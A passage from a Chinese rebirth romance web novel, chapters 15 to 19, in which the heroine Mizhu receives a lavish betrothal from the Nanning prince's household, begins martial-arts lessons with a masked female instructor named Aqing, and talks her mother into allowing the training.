“小姐,南宁王府来人了。来的人还是长公主。” 蜜珠刚刚含嘴里的一口茶,差点呛住嗓子。 “长公主?” 她简直不敢置信? 小柳儿小鸡啄米的点头:“说是来提亲呢,还带了好漂亮的一对大雁!” 蜜珠漂亮的杏眼睁大,清水芙蓉的脸,甚至惊出了红晕。 前世没有这一出啊! 15.第 15 章 前世南宁王府从收到了皇帝的赐婚圣旨后,就一直没有过任何动静,然后不到一个月,就传出了南宁王世子病重而亡的消息。 也正是因为如此,后来她和曲立封在一起事,并没有闹的那么大。 明帝只是有些不喜,却也没有下旨降罪。 毕竟是在南宁世子病故之后,才闹出来她和曲立封的事儿。 二人虽有婚约,却未曾成亲,甚至就连下聘都还没来得及。 这也是蜜珠重生之后,从未考虑过真的嫁到王府去,反而开始为将来做准备的缘故。 ——这桩婚事成不了。 可如今,南宁王府竟然来下聘定亲了? 这个变化直接让蜜珠懵了。 长公主来的时候,长街上许多人都瞧着,眼睁睁看着那么多聘礼,浩浩荡荡送到了从五品官员太史令蜜大人的府上。 这让人瞧着好生羡慕:“先前就没见过别人成亲,有这么多聘礼的。不愧是王府娶妻。” 但也有百姓看着这一幕,撇撇嘴,没将心里的话说出来。 蜜家大小姐据闻是国色天香,既然是这样的美人,想必配一个更加优秀点的王侯贵族也是使得的,却偏偏许配给了南宁王府这样一个痴傻的世子。 而且做这桩媒的还是当今陛下明帝,大概是明帝自己也心虚吧,给人家好端端的姑娘,找了这么一个无法拒绝的傻夫婿。 若不是皇权在那儿压着,哪户人家愿意将千娇百宠养大的姑娘,给这么随意嫁出去。毕竟不是所有人都想奔着荣华富贵去,却愿意让贵女一辈子独守闺房的。 “可见南宁王府也是被陛下放在心尖尖的,毕竟是长公主的子嗣么。给配一个绝世美人,也是陛下知道心疼外甥。” 京城茶楼里的纨绔,说起这件事情的时候,举着扇子这样长吁短叹,只恨不得自己就是明帝的亲外甥,好能对美人一亲芳泽。 美人如玉啊,奈何美人如今已经有主了,不是旁人能再随意采撷的了。 哪怕谈论起蜜珠的容貌,纨绔们也只是私底下聚会时说上几句,不再那么大张旗鼓。 “长公主亲自去下聘,看来是对那蜜大小姐极为满意。” “聘礼如此多,南宁王府果真有如此雄厚财力吗?” 话题渐渐偏移了几分,有人摇了摇手里的扇子,朝着左右看了看,才神神秘秘道。 “这给世子娶个妻,怕是要把南宁王府的库房都要搬空吧?” “旁的不说,就说这聘礼…听说陛下赏赐了不少…” 有知道内情的人,影影绰绰说起这事儿。 “陛下赏赐?” 有人震惊。 但却很快被身旁的人捂住了嘴巴:“声音小点。” 那日在家宴上,陛下可是发了一通火,不允许旁人出了皇宫乱嚼舌头的。 今日他们一帮人聚在一起,便是喝了点小酒,人都有些醉了,才会不小心把那日皇宫家宴上的些许秘闻透露出来。 “总之,这桩婚事,陛下是放在心上的。看来京城有热闹瞧了。” 众人都知道南宁王世子痴傻,是以,这些年对方深居简出,经常在家卧床养病,众人也都已经习惯了。 然而当华宣骤然有了个如花似玉又声名在外的未婚妻时,他就也忽然也跟着成了个“香饽饽”,不由令人好奇,南宁世子如今是个什么模样了。 等到他日成亲,一个傻子会怎么样? 满京城都因着南宁王府来提亲的事儿,莫名变得喧嚣了几分。 然而作为当事人的蜜珠,却莫名有些喘不过来气。 长公主来提亲之后,就回到王府了。如今蜜府已经恢复了先前的清净,但满满当当放在库房里的那些聘礼,却预示着一切都已经和之前不一样了。 蜜珠在自己的厢房里来回打转,裙摆随着她走动的动作,偶尔被掀起一个小小的角。 蓄月看在眼里,想了想道。 “小姐在烦恼什么?” 前几日小姐还看着胸有成竹的,怎么今日长公主来提亲之后,小姐就忽然焦虑了起来? 蜜珠抿着唇,沉默半晌才道。 “有些事情,出乎了我意料。” 前世南宁王府从未过来提亲,更别提是长公主亲自来了。 既然这件事情有变,是不是说明南宁王世子也不一定会暴病而亡? 那她和南宁世子之间的婚约,岂不就成了真的,再也解除不了? 之前蜜珠做的一切打算,都是在为一个月后世子病故,婚约名存实亡,自己恢复了自由做准备。 这让蜜珠觉得不安。 从重生回来后,她所有的信念几乎都建立在,自己要摆脱和远离曲立封,然后过上新的生活。哪怕再也不嫁人,只自己过也行的基础上。 蜜珠从未想过,倘若真的嫁入南宁王府会是什么样的光景。 权贵之间历来阴谋也多,她虽说重活了一世,比起普通闺阁千金多了一点阅历,但在那些一直泡在官场的人眼里,依然不算什么。 心智、能力、权谋、地位、财富,她几乎没有拔尖的东西。 真去了王府,还能再好整以暇出来吗? 有生之年还能开心? 想着这些,蜜珠额上的冷汗几乎要把脸整个打湿,她瞧着脸色极其苍白,像是被欲来的风雨吓坏的花朵。 蓄月这段日子自从跟着蜜珠以来,还是头一次见大小姐露出这副慌乱模样,不由有些担忧。 “小姐,谋事在人成事在天。自古就是这样的道理,若是事情超出预料,也是再正常不过,重新再筹谋便是。” 蓄月的声音,将蜜珠的神智重新拉了回来。 她轻轻呼出一口气,半晌才道。 “…筹谋不成再筹谋,是啊。”她苦笑。 兴许,做人这样的事情,是要不断学习锻炼,提升了眼界后,才能越做越好的。而不是说得来了重生的机会,就变成往后无往不利。 不论如何,南宁王府送了那么多聘礼过来,对她这个未来儿媳,是重视的。 事情哪怕不照自己想的那样发生,日子也总是要过的,不能先自己乱了阵脚。 睡前王氏来看了蜜珠,都床榻边握着她手,笑道。 “娘先前还担心,南宁王府家大业大的会嫌我们。未曾想,长公主殿下竟然如此亲和,甚至言语里几次三番夸你。” 这样看来,长公主作为珠儿的未来婆婆,是个好相处的,也不 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好在…长公主瞧着是个好相处的人,并不是传言当中那么骄纵。 这样女儿将来也不至于过的太过于举步维艰。 “她今日也与我说了,知道这桩婚事对你来说委屈,便想着让聘礼丰厚一些,好叫旁人知道王府是在乎你的。对了,还有这些…” 王氏从袖子里拿出长公主悄悄递来的册子。 “她晓得你爹只是个五品小官,约莫拿不出太多嫁妆,就悄悄把这些银票给我了,让我替你在成婚之前,多打一些头面,备好称心的嫁妆。” 这是在给她女儿添妆啊。 王氏喜滋滋的将银票展开给蜜珠看面额。 她之前拿到了,还没来得及细看。 这会儿将册子里的银票展开后,娘儿俩看清了面额,齐齐一愣。 “这么多啊…”蜜珠都被吓住了,捂着唇,差点惊呼出声。 王氏也比她好不了多少,心口砰砰跳,忙将银票收拢,转身去给自己倒了杯茶缓缓神。 “天爷诶。” 一碗凉茶灌下去,王氏觉得心口的火热稍微降了些。 她比了个手势:“这么多?” 十万两! 南宁王府竟然给了他们十万两,让他们私底下给珠儿添妆。 女子嫁人之后,嫁妆就成了压箱底的东西,是能安身立命一辈子的。 南宁王府竟然出手这么大方。 就说蜜府吧,能给蜜珠准备个一万两都算多的了。 这已经是算上各种铺子、首饰和金银器皿,而不光是银子。 本来以为南宁王府祖上毕竟不是什么王侯,只有个庶民起家的将军,没什么资财。结果长公主一出手就是这么多… 这还没算明面上给蜜珠的聘礼呢。 娘儿俩这辈子加起来都没见过这么多银子,一时间只觉得这些银票在怀里发烫,有些不知如何是好。 蜜珠心中甚至有了几分愧疚。 她之前甚至还盼着南宁世子和前世一样病故… 然而人家的母亲如此重视这门婚事,把面子里子都给她考虑到了。 16.第 16 章 就凭着这分尊重与善意,蜜珠都觉得歉疚。 “珠儿啊…”王氏沉默了一会,让自己缓过气来后,对她道。 “这些你自己收着吧。明儿出去看看,有什么喜欢的首饰,尽管买回来。” “这些银子你爹不知道,藏好了。”她还不忘记多叮嘱一番。 长公主给她这些银票时,是背着蜜老爷的。 是以这份独属于女子之间的体谅,就显得更加难得了。 倘若那南宁世子不是痴傻的就好了。 王氏忍不住这么想。 但转念一想,兴许就是因着对方这副样子,才叫长公主心里过意不去,才会体谅起没过门的儿媳妇,特意从其他地方弥补。 否则他们家门第远远比不上人家,根本就轮不到珠儿被选上这门婚事。 这么想了一番后,王氏心里的气也顺了一些。 左右事儿已经这样了,不如多朝好的方面想,她还不忘记宽慰蜜珠。 “珠儿,娘跟你说,自来女子嫁人之后,过得好不好多是看丈夫和婆婆。世子那样,是天定的改变不了,但还好,你未来婆婆是个好人,将来…” 王氏没能将这话说下去,实在是因为看着女儿那张洛神仙子一般的脸,心里满满的心疼。 谁愿意让女儿得到这样的归宿呢。 金银财宝再多,到底都是身外之物,女子在后宅守着过一辈子,心中的苦闷是无处打发的。何况还是那种高门大户了。 她摸了摸女儿脑顶,心中叹息。 倒是蜜珠,见了王氏这番模样,反过来安慰对方。 “娘,你不用担心我。长公主既然如此好相处,我心里担忧也少了些。反而是你,你…我不在府里了,怕你受欺负。” 王氏那绵软性子,蜜珠清楚得很,知道多半是难改的了。 不过…只要自己能在王府立住,便也能反过来成为娘的依靠,让爹知道对娘敬重一点儿。 娘儿俩今夜歇在了一间屋子里。 一夜无话。 第二日醒来,蜜珠忽的想起了之前面具男子给她送的纸条。 该到去东郊寺庙去赴约的日子了。 东郊的宁远寺,香火算是盛的,往来的香客也多,毕竟就在京城脚下。 但来这儿的还是平民百姓多一点,达官贵人更爱去其他更加灵验的寺庙。 上辈子蜜珠还没来过这里,这会儿坐着马车靠近宁远寺时,瞧着山脚下兴旺的样子,忍不住感慨。 “做营生的人真多。” 可不嘛,许多挑着扁担的农户,按照次序停在路的两边,叫卖着一些地里的瓜果。 “来瞧瞧吧,地里刚摘的西瓜,甜呢!” “新鲜的菜啊,新鲜的菜。” 正是酷暑时节,来上香的人里,不伐有一些觉得口干舌燥的,看到有瓜果卖,有些顶不住这天气,就随手掏钱买了。 蜜珠望着马车外头的景象,想了想也让蓄月去买了几个西瓜过来。 马车里也备了小刀,蓄月准备切的时候,蜜珠让她等一等。 蓄月不解:“不马上吃吗?” 她还以为小姐是渴了呢。 蜜珠摇头:“现在不吃。” 但她脸蛋的确这会儿瞧着红扑扑的,像是抹了胭脂一般,让蓄月看着都忍不住感叹,自家姑娘这张容颜,长得真够令人心动的。 也幸好夫家是王侯,能护住姑娘。 不然这样的倾城之色,嫁到平头百姓家里,恐怕还无法被安然护着。 南宁王世子若是不傻,娶到了这样的妻子,得多高兴啊。 可惜对方痴傻,便少了那分怜香惜玉的资格。 等到进了宁远寺,蜜珠在蓄月的搀扶下,从马车里出来,看了看四周。 他们是从后门进的——是依照面具男子在信里说的那样。 这次跟着蜜珠一起出门的,除了蓄月之外,还有一个身材粗壮的婆子,和一个会点儿武艺的车夫。 这几人都是蜜珠在府里挑出来,无论是性情还是能力一等一的忠仆,将来会跟着蜜珠一起去南宁王府。 宁远寺后门一进去,就是一排低矮的小房屋,旁边是几棵参天的绿树,瞧着有些年头了。一踏入树荫范围,一股清凉扑面而来,让人下意识舒了口气。 “小姐…你看那儿有个人。” 蓄月眼尖,发现那棵最粗壮的树上,竟然有一个人影隐约在那儿坐着。 蜜珠顺着那个方向看了过去,果然,有一道纤细的身影藏在了树干中间。 她绕到跟前一看,对方戴着一张面具看不清脸,但看身形却是个姑娘。 好了,这下确定了,对方应该就是那面具男子安排过来的女教习。 好生奇怪,江湖中人都这么藏头露尾神秘么,竟然都喜欢脸上戴着面具。 “姑娘,您是在这儿等人吗?” 蜜珠仰起脸看树上的人,主动出声问。 阿晴早在蜜珠一行人下马车开始,就已经注意到了他们。 这个时辰,能让从后山进来的,多半就是少主说的那个救命恩人了。 本来对方也算是帮了少主,她心中也是存着感激之情的,可一想到少主安排自己去教对方习武,心中就莫名酸涩。 她在帮派里的地位早就已经稳固了,等闲的事情,少主是不会让自己去做的。 然而如今却因着其他的女子,少主让自己回京。 最最不妙的是,这个女子那么恰巧的,正是少主未来的世子妃。 这一切都让阿晴心中复杂酸涩。 所以她想看看,到底是什么样的女子,才会那么幸运的被选做少主未来的妻子。还能得到对方真正的关注。 倘若少主没有那么关注,是不会让她亲自过来教对方习武的。 心中念头百转千回,阿晴面上却没有表现出来,只是从树上跳下来,轻盈的落到地上,看向蜜珠。 “习武并不那么容易,蜜姑娘…” 话只说了一半,阿晴就看清了蜜珠的容颜时,随即整个人失声了片刻,一时忘了还要说什么。 她想过,能被皇帝亲自赐婚,作为京城里传言中拥有着倾城容貌的女子,想必是有一些姿色的。 却没想到,对方容颜会出色到这种程度,几乎令人自惭形秽… 第一次和女教习接触,蜜珠有些兴奋,她 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来之前她心里存着一股嫉妒与不舒服,那会儿想着,真的教对方习武时,一定要多加一些训练量,好让对方知难而退,或者心里清楚习武不是一蹴而就的事情。 然而蜜珠和她想象的完全不一样。 她瞧着像是那种最温柔单纯的大户人家千金,因着被保护良好,而不太知道人间险恶,尤其是那双眼眸,湿漉漉的又水润,那样温柔无害望着你,很容易让人忘记自己一开始想说什么。 也难怪少主对未来世子妃特别了。 一时间,阿晴心中既有释然又有苦涩。 罢了。少主所在的位置那么危险,这姑娘将来是世子妃,就必定会被更多人关注,若是能多一些自保之力,就不会反过来成为少主的软肋和掣肘。 她会多上一些耐心教对方的。 今日阿晴教给蜜珠的,其实是一些再简单不过的心法,还有基本的一些招式。 “我擅长轻功和使剑,便只教你这两样吧。” 说着教这些,其实阿晴是做好了准备,倘若蜜珠吃不起苦,就只教对方简单的轻功,让她能在关键时候身躯灵敏轻盈一些,方便行动。 她拿出自己贴身的长剑,蜜珠便专注看着,屏息静气的样子,瞧着极为专注。 这让阿晴对蜜珠的观感,更加好了几分。 至少未来世子妃不是一个只嘴上嚷嚷要习武的人,态度是端正认真的。 阿晴让蜜珠扎马步时,也做好了会被对方拒绝的准备。 扎马步瞧着姿势不是很雅观,而且这么热的天,人但凡稍微动一动就会出汗,未来世子妃不论如何也是官宦千金了,能吃得起这样的苦么。 何况蜜珠模样生的千娇百媚,估计这辈子都没怎么流过汗,能坚持下来么。 然而出乎阿晴预料,这看起来娇娇弱弱的未来世子妃,竟然是个隐忍的性子。让扎马步就扎马步,哪怕纤细的身子已经开始发颤,脸也通红,整个人宛若从水中捞出来一般狼狈,依然能狠下心继续坚持。 这股韧劲儿,甚至比阿晴幼时习武的时候还要再强上几分。 17.第 17 章 瞧着蜜珠这样的千金小姐,不仅没有丝毫倨傲与娇弱,反倒真的认认真真开始习武。 这让阿晴顿时更多了几丝对蜜珠的认可。 小柳儿今日也跟着出来了,只不过先前一直好奇,就没说话,只默默看着。 盛夏酷暑,蝉鸣阵阵,她眼瞅着自家小姐从刚出门那样清清爽爽,一点点变成浑身汗湿的狼狈样,心中说不出的疼惜。 “小姐,何苦来习武呀。” 小柳儿弄不懂,没憋住,跑过来给蜜珠擦汗,语气都有些哽咽。 她年纪很小的时候就跟在蜜珠身边了,心底里对她亲近,哪里能见自家小姐受这个苦。 “这样流汗不行,太伤身子了。” 对小柳儿来说,看到小姐这样习武,心疼到不行。 蜜珠眨眨眼,任凭汗水流过自己的眼睛,没有去抬手擦。 若是吃点儿苦,就能让自己变得更加强大,那她会很乐意去多吃一点的。 她并不是那种绝顶聪明的女子,也会担心自己走错路,尤其是重来了一世之后。 “柳儿,去把西瓜切好了拿过来。” 蜜珠小声吩咐。 阿晴听到这话,脸上神情不变,心里却暗暗摇头。果然是大户人家的千金,稍微扎个马步流点儿汗,就要让下人来送西瓜吃了。 亏她之前还觉得对方性情与普通闺阁千金不一样,没想到也差不多。 她冷眼旁观着小柳儿和蓄月跑去马车,抿了抿唇,什么都没说。 若真是这般稍微动一动就要下人服侍的性子,恐怕跟她学不了几日就要打道回府。 她心中重新对蜜珠生出了几丝轻视,也更加不平,为何天道那么不公,像这样异想天开的娇小姐,也能成为少主未来的夫人,能让对方多看一眼? 倘若这个人是自己,少主是不是也会同样的投注关切? 尤其是想到过去的那几年里,少主对任何女子不假辞色的记忆,阿晴心中就更加酸涩了。 帮派里几乎所有熟悉她的人都能看出来,自己对少主的心思,她甚至不要名分,只是想要跟随在少主身边,为对方做点什么。 可偏偏最应该了解的那个人,却始终不曾正眼看她。待她和其他男子无什么差别。 阿晴一时间陷在这股酸涩的情绪中,心中复杂难言。 等到柳儿和蓄月将切好的西瓜送来时,蜜珠却不吃。 “天太热了,你们吃吧,我喝些水就好。” 她悄悄指了指女教习的方向。 小柳儿看懂了,努了努嘴。这是小姐要给那个女教习送西瓜吃呢。 “喏。我们小姐给你的。”小柳儿给阿晴西瓜的时候,语气有些闷闷的。 她不是很喜欢这个女教习,对方和小姐说话的时候,态度冷冰冰的。 小柳儿护主,自然看着心里难受。 一直默默站在一旁的阿晴,猛不丁看见递来的西瓜时,神情怔了怔。 蜜珠走了过来,额上还有没干的薄汗,但就是瞧着美到不可方物。 哪怕因着方才听阿晴的训练,鬓发散乱了一些,依然有种美人娇憨的魅力。 “劳你这么热的天,还要陪着我教我。我根骨兴许不太好,学起来太慢了。教习快歇歇,吃点儿瓜。” 天热的时候,人就容易心浮气躁。阿晴抬眸看向蜜珠,见她言笑晏晏,脸上梨涡一点,眨一眨眼睛就是万千的温柔风情,忽的心里也软了三分。 她似乎知道了,为何男子会喜欢温柔小意的姑娘。 从前她作为江湖人士,向来喜欢性情豪爽做事不拘小节的人,扭扭捏捏的就让人看不惯,做事儿还平白耽误时间。 可这么心烦意乱的时候,见到一个如水一般温柔缱绻的女子,满心关怀地站在你身侧,让你吃点儿东西消消火。 就… 阿晴别开脸,想到了一句话——温柔乡名不虚传。 若她是男子,也会想要多疼一疼对方啊 就莫名还会少主生出了几丝艳羡是怎么回事。 她心中就有一种,原来这娇小姐不是坚持不下去了,让下人服侍着要吃西瓜,而是…而是为她拿的。 这辈子还是头一次和这样的女子相处,阿晴顿时憋红了脸,觉得方才自己心中对对方的诸多腹诽,其实很没有道理,甚至显得有些刻薄。 接下来的半日,阿晴明显比先前耐心了许多,甚至在蜜珠结束了半日的习武基础后,交代她身旁的丫鬟道。 “你们小姐身子弱,习武又不是从幼时开始,先天就差上了些许。今日练得猛了,回去必然会身子酸痛,给她做个药浴吧。” 说着,拿了纸笔给他们写了一个药浴的方子道。 “就按这个来,泡一刻钟便可。” 蜜珠也在一旁听着,见女教习如此细心,不由夸赞道。 “阿晴教习写的一手好字。” 猛不丁被蜜珠夸了,阿晴又是一阵怔愣。 未来的世子妃如此好相处,这和当初阿晴的预想完全不同。 不仅如此,等到离开宁远寺的时候,蜜珠还拉着她的手道。 “阿晴教习在京城有歇脚的地方么,不如来我府里住。” “我家中还有一个妹妹,也是与我一般,常年在家中,并没有接触过武艺。今日见了阿晴教习,才知道世上有这样的奇女子,能文能武,可谓才貌双全。我知晓自己和妹妹接触武艺太晚了,想必有生之年成为不了阿晴这样的女侠,但若能多学个一招半式的,多一些防身之力,我就很满足了。” 蜜珠本就生的容易让人惊艳,笑起来时眉眼弯弯,愈发显得明艳又亲近。 往常阿晴都是在帮派中,与一帮大老爷们共同处理帮中事物,女子在外独立行走本就艰难一些,所以她要刻意让自己严肃点,才能镇得住身边的人。 况且男子说话多粗鄙,嗓门又大,何曾有过如此和风细雨的经历,听一个貌若天仙的姑娘站在你面前,一边用仰慕的眼神看着你,一边夸你说想向你学习。 哦,天呐。 少主的艳福简直洪福齐天。 这世上若要给可爱的女子排个号儿,蜜珠姑娘这样的,定然是第一个。 阿晴哪里接触过这样的人,三两下就被夸到不好意思了起来,心中对蜜珠更是多了许多好感。 “…我并没有你说的那么好。江湖上我这样的女子不少。” 能走出家 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她现在手里是半点儿武艺高强的人都没有。 若是能把阿晴教习拐回去,等日后交情深厚了,再出门是不是也能请阿晴一块儿呢,这就更安全了。 阿晴面对蜜珠郑重的邀请,沉默了一阵。 蜜珠想了想,对她道。 “那这些你收着。你既教我武艺,也是我师父了,很感谢你。” 她也塞了一些银两过去。 阿晴顿时有些哭笑不得,知道少主未来的夫人,是担心自己没钱住客栈,才会想着法的给自己钱花。 “…我要处理事情。过两日再来寻你。” 她终于松口,决定跟着蜜珠回府。 她对京城几乎是完全陌生的。 先前看少主的意思,就是想让她专门去给蜜珠教授武艺,如今对方邀请自己回去,似乎也没什么不能跟过去的。 只是这事儿毕竟还是要和少主说一声。 蜜珠听了阿晴的承诺,整个人舒展起来,笑容愈发柔婉灿烂。 “那我可等着你呀。” 阿晴:“好。” 她不会忘记过去的,既然已经答应了,那便会尽力把事情办成。 * 南宁王府。 华宣听着暗卫来报,说起这两日蜜珠身边发生的事情,他勾了勾唇。 阿晴是什么性子,他多少也了解一些,平日里在帮派对一帮人都不假辞色,而今到了蜜珠面前,却只是半日,就能被软化了心防。 可见他那未婚妻在获得人心这方面的本事匪浅。 他忽然对于成亲之后的日子,多了几分期待。 他虽至今还未亲眼见过蜜珠的容貌,并不知道传闻中的大美人美到何等程度,但至少能确定一件事——他的未婚妻性子很有趣。 并不是那种木头美人,或者没有主见又怕事,任人摆布的,反而遇到事情了很有自己的想法。 光看他们初见那日,自己顶着一身的血拦路抢马车,对方还能和自己讨价还价想习武就知道了。 18.第 18 章 “告诉阿晴,去留随意。” 华宣并未直接说好和不好。 阿晴在帮派中,被各种事物缠身,他本就不欲让对方继续在里面待下去。把人喊到京城去当女教习,也不过是临时起意罢了。 至于对方要不要跟在蜜珠身边,华宣并不会强制去要求。 深夜在宁远寺的房顶纳凉的阿晴,等来了暗卫传来的消息。 阿晴:“少主说去留随意?” 她脸上露出了些许复杂神色。 自她认识少主那年,被对方救下开始,就一直知道,自己想要留在少主身边,一直是个奢望。 哪怕少主出手救了自己和弟弟的性命,却从来不居功,帮派里的那么多事情,也是她一再表示自己想要尽心做点什么,才慢慢接手到身上。 可以说,这些年自己在帮派里的地位,全靠努力钻研怎么把事情办好,才一点点挣来的。 然而少主却好像从来没有对自己产生任何其他的情愫。 她苦笑了一下,知道自己多年的情意与报恩,到底是单方面的执着而已。 “罢了。我知道了。” 既然蜜珠姑娘是少主将来的妻子,自己能让对方多一些自保之力,也算是另外一种报恩吧? 也只有话本里才会写,救命之恩当以身相许。 她的确是有这个心思,奈何少主并不想要这样的报恩。 看来有时候报恩,也需要讲究方式,用一种别人能接受的方法去报。 想明白这一点之后,莫名的,阿晴觉得自己轻松了不少。 仿佛困扰她多年的某种执念,忽然间烟消云散了。 * 第二日,蜜珠就听到门房来报。 “外头来了个男子打扮的姑娘,说要见大小姐。” 听到“男子打扮”,蜜珠眼睛就一亮,想到了阿晴。 “快请她进来。” 等不及门房去通报,蜜珠直接起身换了衣裳,快步走了出去。 “小姐,头饰还没戴好呢!” 身后的小柳儿忍不住追了过去。 蜜珠却回眸冲她笑:“不必了。” 重生之后,蜜珠就不爱打扮成特别繁复的模样,更喜欢简单自在一些。要不是如今还在蜜府,多少要注意自己在旁人面前的形象,打扮成男子她觉得更加方便呢。 就像阿晴教习那样,不用特意涂脂抹粉或者戴发钗步摇,并不影响吃饭过日子呀。 小柳儿没追上蜜珠,忍不住嘟囔。 “…蓄月姐姐,你怎的不劝劝小姐。” 自从圣旨赐婚之后,小姐就处处变得和从前不一样了。先前小柳儿还为自家小姐开心,觉得小姐都能为夫人在府里讨公道了。 小少爷自从在小姐那儿吃了亏之后,就乖觉了不少,都不像往常那样闯祸,然后故意去气夫人了。 可瞅着蜜珠和那女教习走得近,小柳儿心里就酸溜溜的,怪不放心的。 还是蓄月看出她的不得劲儿,低声道。 “小姐自有她的分寸。柳儿,虽说小姐待你情同姐妹,但她是主子,自然有自己的朋友和相交的人。” 她说到这里,就不再开口了。 小柳儿却若有所思,稚嫩又有些婴儿肥的脸上,略带出些明悟。 蓄月姐姐是想提点她,小姐的事儿,自己关心可以,但不要越俎代庖,否则就失了奴婢的本分? 她沉默下来,半晌才小声道。 “我是怕自己没用,小姐不带上我去王府。” 以前她在小姐身边,总是被重用的那个,无论发生什么,小姐都爱和她说。 哪怕是当初去见曲公子,这中间许多事情都是经由她手。可是后来,小姐好像忽然间变了,变得能干厉害,做事儿也雷厉风行,再也没有和她说起心事了。 甚至…小柳儿察觉,自己成了跟不上小姐步子的人。 蓄月姐姐比自己聪明,做什么事儿都能让小姐满意… 垂着脑袋的小柳儿,不去看小姐走远的身影,轻声道。 “现在就是新来的女教习,也比我和小姐亲近。我想跟小姐一起去王府,但又怕自己帮不上忙。” 蜜珠去而复返,回来听到的就是这样一番话。 她轻曲手指,敲了敲小柳儿的额头。 “这是说的什么话,谁打翻了醋坛子,叫我才走开一会儿就闻着味儿回来了。” 小柳儿呆呆捂住脑袋,抿着唇露出个委屈表情。 “小姐…” 蜜珠也没想到,自己重生带来的改变,会给一开始就陪在身边的小柳儿,带来这么大的影响,会让对方这么不安。 她轻声叹气。 “柳儿,这些话我只说一次。” 小柳儿和一旁的蓄月,顿时认真地看了过来。 蜜珠就柔声道:“我们活着呢,就是在不断往前走的过程。所以会遇到很多很多新的人,不断相识,合得来的成为友人,合不来的则成为陌路。倘若我将心门关闭,不去结识任何新的人,只凭着最开始身边的这些人,你说,我们若是真的去了王府,去了其他陌生的地方,真的能一直好好生存下来吗?” “尺有所短寸有所长。明白吗?” 蜜珠也不知道,自己这一生想要的生活是什么样的。 女子能活动的地方只有那么点后宅,但她却明白,她不满足于那样。不想像母亲那样,一辈子昏昏沉沉又麻木的窝在后院里足不出户。 她想去看这个世界,想多认识一些人,想拼尽所能变成和从前完全不一样的人。 “以后我们还会遇到很多事情,我不一定能每一次都好好和你们解释,安抚你们。小柳儿,蓄月,你们还要和我一起往前走吗?” 蜜珠的眼神悠长,像是透过两人在看更远更远的东西。 天地本是空旷又没有遮掩的,但女子的天地怎么就那么小呢。 以至于当她看到了成亲嫁娶之外的东西时,她身边亲近的人,却还下意识困在恐惧中。 她想说别害怕,跟我一起往前走吧,我们会看到更好更新的风景的。 但那样的风景真的存在吗?它又到底是什么样的? 蜜珠也说不上来。 小柳儿声音带了哭腔:“小姐,你别不要我。往后我再也不那样了。” 她方才瞧着小姐说话的样子,心里下意识害怕,觉得小姐好像心都不在这儿了,像是变成了另一个完全陌生的人。 太遥远了。 要是小姐还是和从前一样,遇到事情了六神无主还会哭,她就能说上话,用自己的法子安慰小姐。 但瞧着如今再也不掉眼泪,遇到事情了总是有自己章法的小姐,她就会生出一种自己距离对 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先前她还觉得小柳儿对大小姐的态度,有些超过主仆之间的情谊,过于依赖了。 但轮到她被大小姐如此关怀时,也禁不住冒出这样一个念头——若她是小柳儿,自幼跟在这样的大小姐身边,怕是也会不喜旁人分走大小姐的关怀。 主人家宽厚,历来是奴婢们求之不得的事情。 但能遇到这样的主家,是要看命的。 小柳儿命好,能遇上一个真正重视下人感情的主子。 这样看来,她的命也不错。 * 安抚好小柳儿的情绪后,蜜珠带着寻上门来的阿晴进了客房。 “这里离我的院子不远,我要来寻你就方便多啦。” “你看看还缺什么东西么?我再去置办。有些匆忙,兴许有准备欠缺的。” 她开开心心将东西准备好,这般欢迎的样子,倒是让来之前还瞻前顾后的阿晴,真正过意不去了。 “够好了,这里已经够好了。”她止住了蜜珠还要让人搬东西来的动作。 “我住这里,方便么?” 阿晴想到了蜜珠的身份。 这位太史令家的大小姐,据说历来都足不出户,鲜少出门,但即使如此,依然让京城权贵圈里的许多公子哥无意间看到后念念不忘。 在明面上,她并不是世子派来的人,而是属于一个不知来历的江湖中人。这样的官宦人家,会接受她住进来吗? 蜜珠冲她眨眨眼:“你是我的救命恩人,住在这里又何不便?” 阿晴没反应过来,半晌,才意识到,这位未来世子妃,已经不动声色给她安排了一个令家中长辈无法往外推的“救命恩人”身份。 “今日太晚了,你歇着吧。习武的事儿从明日开始?” 眼见蜜珠都把一切安排好了,阿晴自然没有反对的道理。 “好。” 她只是觉得新奇。 蜜珠和她从前了解的那些千金小姐都不一样。 在见到未来世子妃之前,生出的种种念头与嫉妒,似乎都被对方的热情消融了。 美人关的确难过。 19.第 19 章 从前也不是没有遇到过其他大户人家的姑娘,但那些女子提起江湖中人,总是多上几丝鄙夷的。 时下但凡有些地位的人家,都不会喜欢那种舞枪弄棒的女子,别说是对女子了,就是对那些个武将,文官们也是很看不上眼。 见多了这些白眼,阿晴自然是已经习惯了。 可她没想到,蜜珠待她这样的人,非但没有任何抗拒,反而还充满向往与肯定,大有一种她是世间奇女子的感觉。 这种滋味儿从前可真的从未体会过,怪让人上瘾的。 … 王氏那边很快就知道,女儿今日带了个姑娘回来。她自然是问起对方来历。 蜜珠笑着贴到她怀里,还像是幼时那样,拱着她道。 “娘,若爹问起,你便说这是我的救命恩人,先前遇到了登徒子,全靠这姑娘出现帮了我。如今我将她留在府里,也是想着能学点儿傍身的武艺呢。” 一听她说这话,王氏立刻着急。 “女儿家岂能学这些东西,你的头面还没准备好,来日进了南宁王府怕是还要学规矩,娘刚给你打听了,请了个教养嬷嬷来,过几日就到…” 之前接触过长公主,晓得了未来亲家是个什么性子后,心里就有了些章程,一直盘算着得把女儿的婚事,办的漂漂亮亮的。 虽说女婿是个什么模样,还没有见过,但…毕竟是后天生了病才痴傻的,将来和珠儿在一块儿后,生出来的孩子肯定还是讨人喜欢的。 王氏就盼着女儿能早点怀上孩子,这样也算是在王府站稳了脚跟。 蜜珠看着娘着急的样子,拍拍她心口,安抚道。 “娘,您别急,等教养嬷嬷到了,我会好好学规矩的,只不过,我也得跟您说清楚,功夫我是要一定要学的。也就这三个月了,我若是能有些习武根基,不说别的,将来就是生产,身子骨也能更加壮实一些,更顺利呢。” 晓得王氏的性格,不是一日两日就能改变的。 蜜珠就选择曲线救国,故意把习武和生产顺利连在一起。 果然,王氏听到了这话,就有些动摇了,半信半疑道。 “当真?” 蜜珠就笑了,梨涡灿烂,一双杏眼也妩媚天成。 “我还会骗娘嘛?当然是真的。” 她眼巴巴靠在王氏胸口,小孩子似的撒娇。 “娘,你也知道王侯贵族家中规矩多,我这一遭嫁出去,往后就不如在家中那么自由了。若是这会儿不让我抓着机会习武,将来可就来不及了。” 她这般好话说尽,王氏哪里还能扛得住,当即就点头同意了,无奈道。 “你做什么自有你的道理。娘反正说过,你要做什么我拦不住。你如今大了,有自己的主意了,娘也不会硬要拘你的性子。” “你爹那儿,我自会说清楚的,让他不能阻拦你。” 